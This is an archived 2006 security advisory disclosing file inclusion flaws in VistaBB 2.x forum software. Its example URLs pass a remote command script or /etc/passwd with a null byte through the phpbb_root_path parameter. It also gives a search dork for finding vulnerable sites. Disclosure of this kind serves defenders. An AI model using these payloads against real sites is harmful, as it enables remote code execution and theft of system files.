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TUCoPS :: Web BBS :: etc :: b06-4416.htm

VistaBB <= 2.x Multiple File Inclusion Vulnerabilities



Advisory: VistaBB <= 2.x Multiple File Inclusion Vulnerabilities
Advisory: VistaBB <= 2.x Multiple File Inclusion Vulnerabilities




--Security Report--
Advisory: VistaBB <= 2.x Multiple File Inclusion Vulnerabilities
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 24/08/06 03:00 AM 
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com 
Web: http://www.nukedx.com 
}
---
Vendor: VistaBB (http://www.vistabb.net) 
Version: 2.033 and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary files to 
VistaBB.Variable phpbb_root_path did not sanitized properly before using it 
on includes/functions_mod_user.php and includes/functions_portal.php so 
remote attacker can include internal and external files to VistaBB
For including internal files magic_quotes_gpc must be off on server settings 
because remote attacker needs to use null char at the end of filename.
Eg: /etc/passwd%00
Level: Highly Critical
---
How&Example: 
GET -> 

http://[site]/[vistabbpath]/includes/functions_mod_user.php?phpbb_root_path=[FILE] 
EXAMPLE -> 

http://[site]/[vistabbpath]/includes/functions_mod_user.php?phpbb_root_path=http://yoursite.com/cmd.txt? 
EXAMPLE -> 

http://[site]/[vistabbpath]/includes/functions_mod_user.php?phpbb_root_path=/etc/passwd%00 
<- mq off
GET -> 

http://[site]/[vistabbpath]/includes/functions_portal.php?phpbb_root_path=[FILE] 
EXAMPLE -> 

http://[site]/[vistabbpath]/includes/functions_portal.php?phpbb_root_path=http://yoursite.com/cmd.txt? 
EXAMPLE -> 

http://[site]/[vistabbpath]/includes/functions_portal.php?phpbb_root_path=/etc/passwd%00 
<- mq off
---
Timeline:
* 24/08/2006: Vulnerability found.
* 24/08/2006: Contacted with vendor and waiting reply
---
Exploit: http://www.nukedx.com/?getxpl=48 
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=48 
---
Dorks: "Powered by VistaBB" 


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